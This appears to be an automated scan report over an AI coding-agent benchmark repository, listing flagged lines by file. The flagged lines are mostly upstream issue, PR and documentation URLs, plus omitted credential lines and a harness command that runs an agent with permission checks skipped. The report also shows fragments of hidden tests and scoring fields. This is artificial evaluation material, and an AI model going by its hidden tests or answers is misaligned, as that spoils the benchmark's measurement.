    "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8626",     "fix_pr": "https://github.com/tobymao/sqlglot/pull/8632",
  • Network accessline 43
    "issue": "https://github.com/tobymao/sqlglot/issues/8626",
  • Network accessline 44
    "fix_pr": "https://github.com/tobymao/sqlglot/pull/8632",

benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-stddev/task.txt

  • Network accessline 24
    **Official Documentation** - MySQL: https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_stddev and https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_variance
  • Network accessline 25
    - MySQL: https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_stddev and https://dev.mysql.com/doc/refman/8.4/en/aggregate-functions.html#function_variance
  • Network accessline 26
    - DuckDB: https://duckdb.org/docs/stable/sql/functions/aggregates (`stddev` is an alias of `stddev_samp`)

benchmarks/h2h/fixtures/hard/py-sqlglot-mysql-timestampadd/meta.json

  • Network accessline 37
    ],   "source": {     "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 38
    "source": {     "upstream": "https://github.com/tobymao/sqlglot",     "license": "MIT",
  • Network accessline 39
    "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 40
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8808",
  • Network accessline 41
    "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8808",     "fix_pr": "https://github.com/tobymao/sqlglot/pull/8809",
  • Network accessline 42
    "issue": "https://github.com/tobymao/sqlglot/issues/8808",
  • Network accessline 43
    "fix_pr": "https://github.com/tobymao/sqlglot/pull/8809",

benchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/meta.json

  • Network accessline 38
    ],   "source": {     "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 39
    "source": {     "upstream": "https://github.com/tobymao/sqlglot",     "license": "MIT",
  • Network accessline 40
    "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 41
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8569",
  • Network accessline 42
    "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8569",     "fix_pr": "https://github.com/tobymao/sqlglot/pull/8574",
  • Network accessline 43
    "issue": "https://github.com/tobymao/sqlglot/issues/8569",
  • Network accessline 44
    "fix_pr": "https://github.com/tobymao/sqlglot/pull/8574",

benchmarks/h2h/fixtures/hard/py-sqlglot-search-cycle/task.txt

  • Network accessline 52
    **Official Documentation** search "recursive"  https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#with_clause
  • Network accessline 53
    search "recursive"  https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#with_clause https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#examples
  • Network accessline 54
    https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#with_clause
  • Network accessline 55
    https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/SELECT.html#examples

benchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/meta.json

  • Network accessline 37
    ],   "source": {     "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 38
    "source": {     "upstream": "https://github.com/tobymao/sqlglot",     "license": "MIT",
  • Network accessline 39
    "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 40
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8805",
  • Network accessline 41
    "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8805",     "fix_pr": "https://github.com/tobymao/sqlglot/pull/8816",
  • Network accessline 42
    "issue": "https://github.com/tobymao/sqlglot/issues/8805",
  • Network accessline 43
    "fix_pr": "https://github.com/tobymao/sqlglot/pull/8816",

benchmarks/h2h/fixtures/hard/py-sqlglot-snowflake-idents/task.txt

  • Network accessline 33
    Snowflake reserved keywords (none of these words are listed): https://docs.snowflake.com/en/sql-reference/reserved-keywords

benchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/meta.json

  • Network accessline 37
    ],   "source": {     "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 38
    "source": {     "upstream": "https://github.com/tobymao/sqlglot",     "license": "MIT",
  • Network accessline 39
    "upstream": "https://github.com/tobymao/sqlglot",
  • Network accessline 40
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8595",
  • Network accessline 41
    "license_file": "LICENSE",     "issue": "https://github.com/tobymao/sqlglot/issues/8595",     "fix_pr": "https://github.com/tobymao/sqlglot/pull/8596",
  • Network accessline 42
    "issue": "https://github.com/tobymao/sqlglot/issues/8595",
  • Network accessline 43
    "fix_pr": "https://github.com/tobymao/sqlglot/pull/8596",

benchmarks/h2h/fixtures/hard/py-sqlglot-teradata-frame/task.txt

  • Network accessline 47
    **Official Documentation** - Teradata, *The Window Specification → ANSI Compliance*: https://docs.teradata.com/r/Enterprise_IntelliFlex_VMware/SQL-Functions-Expressions-and-Predicates/Ordered-Analytical/Window-Aggregate-Functions/The-Window
  • Network accessline 48
    - Teradata, *The Window Specification → ANSI Compliance*: https://docs.teradata.com/r/Enterprise_IntelliFlex_VMware/SQL-Functions-Expressions-and-Predicates/Ordered-Analytical/Window-Aggregate-Functions/The-Window-Specification/ANSI-Complia
  • Network accessline 49
    - Snowflake, *Window function syntax and usage*: https://docs.snowflake.com/sql-reference/functions-window-syntax

benchmarks/h2h/fixtures/hard/py-sqlparse-compare-expr/meta.json

  • Network accessline 32
    ],   "source": {     "upstream": "https://github.com/andialbrecht/sqlparse",
  • Network accessline 33
    "source": {     "upstream": "https://github.com/andialbrecht/sqlparse",     "license": "BSD-3-Clause",
  • Network accessline 34
    "upstream": "https://github.com/andialbrecht/sqlparse",
  • Network accessline 35
    "license": "BSD-3-Clause",     "license_file": "LICENSE",     "issue": "https://github.com/andialbrecht/sqlparse/issues/438",
  • Network accessline 36
    "license_file": "LICENSE",     "issue": "https://github.com/andialbrecht/sqlparse/issues/438",     "fix_pr": "https://github.com/andialbrecht/sqlparse/pull/513",
  • Network accessline 37
    "issue": "https://github.com/andialbrecht/sqlparse/issues/438",
  • Network accessline 38
    "fix_pr": "https://github.com/andialbrecht/sqlparse/pull/513",

benchmarks/h2h/fixtures/hard/py-sqlparse-window-over/meta.json

  • Network accessline 30
    ],   "source": {     "upstream": "https://github.com/andialbrecht/sqlparse",
  • Network accessline 31
    "source": {     "upstream": "https://github.com/andialbrecht/sqlparse",     "license": "BSD-3-Clause",
  • Network accessline 32
    "upstream": "https://github.com/andialbrecht/sqlparse",
  • Network accessline 33
    "license": "BSD-3-Clause",     "license_file": "LICENSE",     "issue": "https://github.com/andialbrecht/sqlparse/issues/701",
  • Network accessline 34
    "license_file": "LICENSE",     "issue": "https://github.com/andialbrecht/sqlparse/issues/701",     "fix_pr": "https://github.com/andialbrecht/sqlparse/pull/768",
  • Network accessline 35
    "issue": "https://github.com/andialbrecht/sqlparse/issues/701",
  • Network accessline 36
    "fix_pr": "https://github.com/andialbrecht/sqlparse/pull/768",

benchmarks/h2h/fixtures/hard/py-tomlkit-array-remove/meta.json

  • Network accessline 33
    ],   "source": {     "upstream": "https://github.com/python-poetry/tomlkit",
  • Network accessline 34
    "source": {     "upstream": "https://github.com/python-poetry/tomlkit",     "license": "MIT",
  • Network accessline 35
    "upstream": "https://github.com/python-poetry/tomlkit",
  • Network accessline 36
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/python-poetry/tomlkit/issues/408",
  • Network accessline 37
    "license_file": "LICENSE",     "issue": "https://github.com/python-poetry/tomlkit/issues/408",     "fix_pr": "https://github.com/python-poetry/tomlkit/pull/409",
  • Network accessline 38
    "issue": "https://github.com/python-poetry/tomlkit/issues/408",
  • Network accessline 39
    "fix_pr": "https://github.com/python-poetry/tomlkit/pull/409",
  • Network accessline 55
    "submodules": {       "tests/toml-test": {         "upstream": "https://github.com/toml-lang/toml-test",
  • Network accessline 56
    "tests/toml-test": {         "upstream": "https://github.com/toml-lang/toml-test",         "commit": "27837d38aa7cc9ff385ed1316a8fef68394395dd",
  • Network accessline 57
    "upstream": "https://github.com/toml-lang/toml-test",

benchmarks/h2h/fixtures/hard/py-tomlkit-table-update/meta.json

  • Network accessline 41
    ],   "source": {     "upstream": "https://github.com/python-poetry/tomlkit",
  • Network accessline 42
    "source": {     "upstream": "https://github.com/python-poetry/tomlkit",     "license": "MIT",
  • Network accessline 43
    "upstream": "https://github.com/python-poetry/tomlkit",
  • Network accessline 44
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/python-poetry/tomlkit/issues/230",
  • Network accessline 45
    "license_file": "LICENSE",     "issue": "https://github.com/python-poetry/tomlkit/issues/230",     "fix_pr": "https://github.com/python-poetry/tomlkit/pull/234",
  • Network accessline 46
    "issue": "https://github.com/python-poetry/tomlkit/issues/230",
  • Network accessline 47
    "fix_pr": "https://github.com/python-poetry/tomlkit/pull/234",
  • Network accessline 63
    "submodules": {       "tests/toml-test": {         "upstream": "https://github.com/toml-lang/toml-test",
  • Network accessline 64
    "tests/toml-test": {         "upstream": "https://github.com/toml-lang/toml-test",         "commit": "27837d38aa7cc9ff385ed1316a8fef68394395dd",
  • Network accessline 65
    "upstream": "https://github.com/toml-lang/toml-test",

benchmarks/h2h/fixtures/hard/py-tomlkit-value-bool/meta.json

  • Network accessline 37
    ],   "source": {     "upstream": "https://github.com/python-poetry/tomlkit",
  • Network accessline 38
    "source": {     "upstream": "https://github.com/python-poetry/tomlkit",     "license": "MIT",
  • Network accessline 39
    "upstream": "https://github.com/python-poetry/tomlkit",
  • Network accessline 40
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/python-poetry/tomlkit/issues/165",
  • Network accessline 41
    "license_file": "LICENSE",     "issue": "https://github.com/python-poetry/tomlkit/issues/165",     "fix_pr": "https://github.com/python-poetry/tomlkit/pull/168",
  • Network accessline 42
    "issue": "https://github.com/python-poetry/tomlkit/issues/165",
  • Network accessline 43
    "fix_pr": "https://github.com/python-poetry/tomlkit/pull/168",
  • Network accessline 60
    "submodules": {       "tests/toml-test": {         "upstream": "https://github.com/toml-lang/toml-test",
  • Network accessline 61
    "tests/toml-test": {         "upstream": "https://github.com/toml-lang/toml-test",         "commit": "27837d38aa7cc9ff385ed1316a8fef68394395dd",
  • Network accessline 62
    "upstream": "https://github.com/toml-lang/toml-test",

benchmarks/h2h/h2h.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 138
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 264
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 287
    [Credential-related source omitted]
  • Access to secretsline 289
    [Credential-related source omitted]
  • Access to secretsline 291
    [Credential-related source omitted]
  • Instruction override signalline 317
    return ["bash", "-c", 'command claude "$@"', "claude", "-p", text, "--model", model,                 "--output-format", "json", "--dangerously-skip-permissions"] + (
  • Instruction override signalline 318
    "--output-format", "json", "--dangerously-skip-permissions"] + (
  • Access to secretsline 368
    [Credential-related source omitted]
  • Access to secretsline 914
    [Credential-related source omitted]
  • Access to secretsline 1131
    [Credential-related source omitted]
  • Access to secretsline 1175
    [Credential-related source omitted]

benchmarks/h2h/replay/go-semver-dirty-lte/meta.json

  • Network accessline 26
    ],   "source": {     "upstream": "https://github.com/Masterminds/semver",
  • Network accessline 27
    "source": {     "upstream": "https://github.com/Masterminds/semver",     "license": "MIT",
  • Network accessline 28
    "upstream": "https://github.com/Masterminds/semver",
  • Network accessline 29
    "license": "MIT",     "license_file": "LICENSE.txt",     "issue": "https://github.com/Masterminds/semver/issues/141",
  • Network accessline 30
    "license_file": "LICENSE.txt",     "issue": "https://github.com/Masterminds/semver/issues/141",     "fix_pr": "https://github.com/Masterminds/semver/pull/142",
  • Network accessline 31
    "issue": "https://github.com/Masterminds/semver/issues/141",
  • Network accessline 32
    "fix_pr": "https://github.com/Masterminds/semver/pull/142",

benchmarks/h2h/replay/go-semver-four-part/meta.json

  • Network accessline 27
    ],   "source": {     "upstream": "https://github.com/Masterminds/semver",
  • Network accessline 28
    "source": {     "upstream": "https://github.com/Masterminds/semver",     "license": "MIT",
  • Network accessline 29
    "upstream": "https://github.com/Masterminds/semver",
  • Network accessline 30
    "license": "MIT",     "license_file": "LICENSE.txt",     "issue": "https://github.com/Masterminds/semver/issues/185",
  • Network accessline 31
    "license_file": "LICENSE.txt",     "issue": "https://github.com/Masterminds/semver/issues/185",     "fix_pr": "https://github.com/Masterminds/semver/pull/186",
  • Network accessline 32
    "issue": "https://github.com/Masterminds/semver/issues/185",
  • Network accessline 33
    "fix_pr": "https://github.com/Masterminds/semver/pull/186",

benchmarks/h2h/replay/py-boltons-research-tuples/meta.json

  • Network accessline 32
    ],   "source": {     "upstream": "https://github.com/mahmoud/boltons",
  • Network accessline 33
    "source": {     "upstream": "https://github.com/mahmoud/boltons",     "license": "BSD-3-Clause",
  • Network accessline 34
    "upstream": "https://github.com/mahmoud/boltons",
  • Network accessline 35
    "license": "BSD-3-Clause",     "license_file": "LICENSE",     "issue": "https://github.com/mahmoud/boltons/issues/393",
  • Network accessline 36
    "license_file": "LICENSE",     "issue": "https://github.com/mahmoud/boltons/issues/393",     "fix_pr": "https://github.com/mahmoud/boltons/pull/394",
  • Network accessline 37
    "issue": "https://github.com/mahmoud/boltons/issues/393",
  • Network accessline 38
    "fix_pr": "https://github.com/mahmoud/boltons/pull/394",

benchmarks/h2h/replay/py-cachetools-grow-evict/meta.json

  • Network accessline 32
    ],   "source": {     "upstream": "https://github.com/tkem/cachetools",
  • Network accessline 33
    "source": {     "upstream": "https://github.com/tkem/cachetools",     "license": "MIT",
  • Network accessline 34
    "upstream": "https://github.com/tkem/cachetools",
  • Network accessline 35
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tkem/cachetools/issues/405",
  • Network accessline 36
    "license_file": "LICENSE",     "issue": "https://github.com/tkem/cachetools/issues/405",     "fix_pr": "https://github.com/tkem/cachetools/pull/408",
  • Network accessline 37
    "issue": "https://github.com/tkem/cachetools/issues/405",
  • Network accessline 38
    "fix_pr": "https://github.com/tkem/cachetools/pull/408",

benchmarks/h2h/replay/py-cachetools-ttl-overflow/meta.json

  • Network accessline 32
    ],   "source": {     "upstream": "https://github.com/tkem/cachetools",
  • Network accessline 33
    "source": {     "upstream": "https://github.com/tkem/cachetools",     "license": "MIT",
  • Network accessline 34
    "upstream": "https://github.com/tkem/cachetools",
  • Network accessline 35
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/tkem/cachetools/issues/440",
  • Network accessline 36
    "license_file": "LICENSE",     "issue": "https://github.com/tkem/cachetools/issues/440",     "fix_pr": "https://github.com/tkem/cachetools/pull/441",
  • Network accessline 37
    "issue": "https://github.com/tkem/cachetools/issues/440",
  • Network accessline 38
    "fix_pr": "https://github.com/tkem/cachetools/pull/441",

benchmarks/h2h/replay/py-moreit-value-chain/meta.json

  • Network accessline 32
    ],   "source": {     "upstream": "https://github.com/more-itertools/more-itertools",
  • Network accessline 33
    "source": {     "upstream": "https://github.com/more-itertools/more-itertools",     "license": "MIT",
  • Network accessline 34
    "upstream": "https://github.com/more-itertools/more-itertools",
  • Network accessline 35
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/more-itertools/more-itertools/issues/1250",
  • Network accessline 36
    "license_file": "LICENSE",     "issue": "https://github.com/more-itertools/more-itertools/issues/1250",     "fix_pr": "https://github.com/more-itertools/more-itertools/pull/1251",
  • Network accessline 37
    "issue": "https://github.com/more-itertools/more-itertools/issues/1250",
  • Network accessline 38
    "fix_pr": "https://github.com/more-itertools/more-itertools/pull/1251",

benchmarks/h2h/replay/py-moreit-value-chain/task.txt

  • Network accessline 34
    [`more.py` L4416](https://github.com/more-itertools/more-itertools/blob/bc8be10/more_itertools/more.py#L4416):

benchmarks/h2h/replay/py-parse-tz-groups/meta.json

  • Network accessline 32
    ],   "source": {     "upstream": "https://github.com/r1chardj0n3s/parse",
  • Network accessline 33
    "source": {     "upstream": "https://github.com/r1chardj0n3s/parse",     "license": "MIT",
  • Network accessline 34
    "upstream": "https://github.com/r1chardj0n3s/parse",
  • Network accessline 35
    "license": "MIT",     "license_file": "LICENSE",     "issue": "https://github.com/r1chardj0n3s/parse/issues/262",
  • Network accessline 36
    "license_file": "LICENSE",     "issue": "https://github.com/r1chardj0n3s/parse/issues/262",     "fix_pr": "https://github.com/r1chardj0n3s/parse/pull/263",
  • Network accessline 37
    "issue": "https://github.com/r1chardj0n3s/parse/issues/262",
  • Network accessline 38
    "fix_pr": "https://github.com/r1chardj0n3s/parse/pull/263",

benchmarks/h2h/replay/py-toolz-partition-len/meta.json

  • Network accessline 35
    ],   "source": {     "upstream": "https://github.com/pytoolz/toolz",
  • Network accessline 36
    "source": {     "upstream": "https://github.com/pytoolz/toolz",     "license": "BSD-3-Clause",
  • Network accessline 37
    "upstream": "https://github.com/pytoolz/toolz",
  • Network accessline 38
    "license": "BSD-3-Clause",     "license_file": "LICENSE.txt",     "issue": "https://github.com/pytoolz/toolz/issues/602",
  • Network accessline 39
    "license_file": "LICENSE.txt",     "issue": "https://github.com/pytoolz/toolz/issues/602",     "fix_pr": "https://github.com/pytoolz/toolz/pull/603",
  • Network accessline 40
    "issue": "https://github.com/pytoolz/toolz/issues/602",
  • Network accessline 41
    "fix_pr": "https://github.com/pytoolz/toolz/pull/603",

benchmarks/h2h/replay/py-toolz-partition-len/task.txt

  • Network accessline 5
    I have a long-running process where I use [tqdm](https://tqdm.github.io) to display a progress bar. It works through an unknown number of items, but, at the start, I can estimate the total number, even though it might be slightly off. So I 
  • Network accessline 28
    Here’s the shortcut code that causes the problem by relying on `__len__`: https://github.com/pytoolz/toolz/blob/08f2604f599847272d801c7f0467451de59fa33a/toolz/itertoolz.py#L731-L736

benchmarks/h2h/results/2026-11-01-2100eda48-replay.json

  • Network accessline 696
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n  /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad
  • Network accessline 697
    "scored_branch": null,       "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n  /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/lo
  • Network accessline 698
    "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n  /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/loki-haiku.py-boltons-research-
  • Network accessline 1585
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_a
  • Network accessline 1586
    "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regressi
  • Network accessline 1587
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p
  • Network accessline 1618
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_a
  • Network accessline 1619
    "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regressi
  • Network accessline 1620
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p
  • Network accessline 1651
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_a
  • Network accessline 1652
    "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regressi
  • Network accessline 1653
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p
  • Network accessline 1684
    "hidden_leaked_before_scoring": [],       "scored_branch": "loki/e10-20261101T210809Z-65a9",       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n   
  • Network accessline 1685
    "scored_branch": "loki/e10-20261101T210809Z-65a9",       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == 
  • Network accessline 1686
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p
  • Network accessline 2271
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n  /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad
  • Network accessline 2272
    "scored_branch": null,       "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n  /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/lo
  • Network accessline 2273
    "hidden_tail": "st_ioutils.py::TestMultiFileReader::test_open\n  /private/tmp/claude-501/-Users-lokesh-lokimode-anthropic/ea0bdc33-bd76-40cf-add4-e7b520c55a21/scratchpad/bench-lead-2/paidtmp/loki-h2h.d27jno8i/loki-haiku.py-boltons-research-
  • Network accessline 3159
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_a
  • Network accessline 3160
    "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regressi
  • Network accessline 3161
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p
  • Network accessline 3192
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_a
  • Network accessline 3193
    "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regressi
  • Network accessline 3194
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p
  • Network accessline 3225
    "hidden_leaked_before_scoring": [],       "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_a
  • Network accessline 3226
    "scored_branch": null,       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regressi
  • Network accessline 3227
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p
  • Network accessline 3258
    "hidden_leaked_before_scoring": [],       "scored_branch": "loki/e10-20261101T211304Z-cb89",       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n   
  • Network accessline 3259
    "scored_branch": "loki/e10-20261101T211304Z-cb89",       "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == 
  • Network accessline 3260
    "hidden_tail": "tition_all(2, [1, 2, 3, 4])) == [(1, 2), (3, 4)]\n        assert list(partition_all(3, range(5))) == [(0, 1, 2), (3, 4)]\n        assert list(partition_all(2, [])) == []\n    \n        # Regression test: https://github.com/p

benchmarks/h2h/results/2026-11-01-e13f3dd72-hard.json

  • Network accessline 3931
    "test_weakened": [],       "accepted": 0,       "test_diff": "diff --git a/tests/dialects/test_postgres.py b/tests/dialects/test_postgres.py\nindex e218005..e2c19d9 100644\n--- a/tests/dialects/test_postgres.py\n+++ b/tests/dialects/test_po
  • Network accessline 3932
    "accepted": 0,       "test_diff": "diff --git a/tests/dialects/test_postgres.py b/tests/dialects/test_postgres.py\nindex e218005..e2c19d9 100644\n--- a/tests/dialects/test_postgres.py\n+++ b/tests/dialects/test_postgres.py\n@@ -1746,6 +1746
  • Network accessline 3933
    "test_diff": "diff --git a/tests/dialects/test_postgres.py b/tests/dialects/test_postgres.py\nindex e218005..e2c19d9 100644\n--- a/tests/dialects/test_postgres.py\n+++ b/tests/dialects/test_postgres.py\n@@ -1746,6 +1746,7 @@ FROM json_data,

benchmarks/h2h/run.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Instruction override signalline 13
    # # Configs: raw-haiku, raw-sonnet, raw-opus (`command claude -p <task> --model M --output-format json # --dangerously-skip-permissions`), raw-<model>-verify (the same, with one sentence appended asking
  • Instruction override signalline 14
    # Configs: raw-haiku, raw-sonnet, raw-opus (`command claude -p <task> --model M --output-format json # --dangerously-skip-permissions`), raw-<model>-verify (the same, with one sentence appended asking # it to run the repo's tests and check 
  • Instruction override signalline 15
    # --dangerously-skip-permissions`), raw-<model>-verify (the same, with one sentence appended asking

benchmarks/h2h/sequences/go-cli-commands/repo/cli/add.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/repo/cli/cli.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/repo/notes/store.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/repo/tests/visible_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/steps/s1/hidden/list_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/steps/s1/solution/cli/list.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/steps/s2/hidden/done_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/steps/s2/solution/cli/done.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/steps/s3/hidden/remove_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/help.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-cli-commands/steps/s3/solution/cli/remove.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/mathx.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/repo/mathx/registry.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/repo/tests/conventions_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/repo/tests/mathx_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s1/hidden/gcd_hidden_test.go

  • Executable scriptline 1
    Executable file

benchmarks/h2h/sequences/go-mathx-registry/steps/s1/solution/mathx/mathx.go

  • Executable scriptline 1
    Executable file

